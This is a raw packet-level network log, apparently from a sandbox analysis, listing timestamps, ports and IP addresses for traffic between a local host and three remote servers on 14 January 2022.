Jan 14, 2022 20:30:18.731203079 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731221914 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731236935 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731250048 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731255054 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731271982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731277943 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731287956 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731297016 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731304884 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731323004 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731337070 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731340885 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731359959 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731376886 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731388092 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731395960 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731411934 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731415033 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731427908 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731442928 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731445074 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731462002 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731472015 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731477976 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731494904 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731508970 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731513023 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731525898 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731532097 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731543064 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731559038 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731576920 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731578112 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731594086 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731611013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731622934 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731627941 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731642962 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731658936 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731674910 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731689930 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731692076 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731705904 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731714964 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731723070 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731739044 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731743097 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731756926 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731771946 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731779099 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731787920 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731802940 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731817961 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731828928 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731829882 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731848955 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731852055 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731864929 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731873989 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731880903 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731894970 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731895924 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731913090 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731924057 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731930017 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731946945 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731961966 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731975079 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.731978893 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.731997013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732004881 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.732012987 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732023954 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.732028008 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732043982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732050896 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.732059956 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732074976 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732090950 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732098103 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.732105970 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.732117891 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749408960 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749443054 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749464035 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749484062 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749488115 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749509096 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749515057 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749531031 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749553919 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749556065 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749577045 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749584913 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749598980 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749622107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749643087 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749655962 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749663115 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749684095 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749686003 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749706984 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749725103 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749727964 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749749899 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749769926 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749783993 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749790907 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749814034 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749814987 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749835014 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749845028 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749881983 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749903917 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749922991 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749948025 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749952078 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749967098 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.749973059 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.749994040 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750015020 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750030994 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750036001 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750056028 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750056982 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750077963 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750096083 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750097990 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750121117 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750140905 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750154972 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750160933 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750181913 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750200033 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750200987 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750221968 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750221968 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750243902 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750260115 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750264883 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750287056 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750305891 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750308037 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750329018 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750344992 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750349998 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750370026 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750390053 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750408888 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750408888 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750430107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750433922 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.750446081 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.750463963 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752108097 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752139091 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752166986 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752181053 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752190113 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752204895 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752213001 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752233982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752253056 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752254963 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752279997 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752286911 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752300978 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752322912 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752331972 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752342939 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752363920 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752382040 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752383947 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752404928 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752413034 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752427101 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752448082 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752470016 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752480030 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752491951 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752507925 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752511978 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752533913 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752546072 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752556086 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752576113 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752592087 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752597094 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752618074 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752628088 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752640009 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752660036 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752679110 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752691031 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752700090 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752717018 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752721071 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752739906 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752753973 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752760887 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752780914 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752789974 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752800941 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752821922 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752835989 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.752842903 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752863884 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.752873898 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.767774105 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.767826080 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.767864943 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.767888069 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.767903090 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.767914057 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.767940998 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.767976999 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768013000 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768017054 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768047094 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768084049 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768090010 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768121004 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768121004 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768160105 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768198013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768202066 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768232107 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768266916 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768274069 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768302917 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768337011 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768373966 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768378973 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768409014 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768444061 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768480062 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768507957 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768512964 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768515110 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768553019 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768568039 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768588066 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768620968 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768639088 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768656969 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768690109 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768726110 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768754005 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768762112 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768796921 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768820047 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768845081 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768856049 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768882036 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768913984 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768935919 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.768949986 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768985033 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.768989086 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769017935 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769052982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769079924 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769087076 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769124031 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769134998 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769160032 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769193888 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769227982 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769241095 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769263983 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769275904 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769298077 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769335032 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769339085 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769371033 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769406080 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769416094 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.769437075 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.769522905 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.784899950 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.841744900 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.859241962 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.366219044 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:20.437350035 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:20.747232914 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.764652967 CET	80	49926	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.764744043 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.764873981 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.764909983 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.782134056 CET	80	49926	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.848033905 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:20.848093987 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:20.848134995 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:20.848208904 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:20.885449886 CET	80	49926	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.885562897 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.885735035 CET	49926	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.891129971 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:20.902978897 CET	80	49926	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.924434900 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.942958117 CET	80	49927	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.943067074 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.943161964 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.943213940 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:20.960458994 CET	80	49927	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:20.960509062 CET	80	49927	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:21.059942961 CET	80	49927	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:21.060050964 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:21.060313940 CET	49927	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:21.078778982 CET	80	49927	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:21.081279039 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.139399052 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.139547110 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.139637947 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.211393118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.211450100 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.211489916 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.211528063 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.211541891 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.211600065 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.269458055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269527912 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269582033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269633055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269634008 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.269681931 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269694090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.269732952 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269782066 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269788027 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.269833088 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.269897938 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.327874899 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.327940941 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.327994108 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328043938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328047991 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.328094006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.328109980 CET	49928	80	192.168.2.4	81.163.30.181
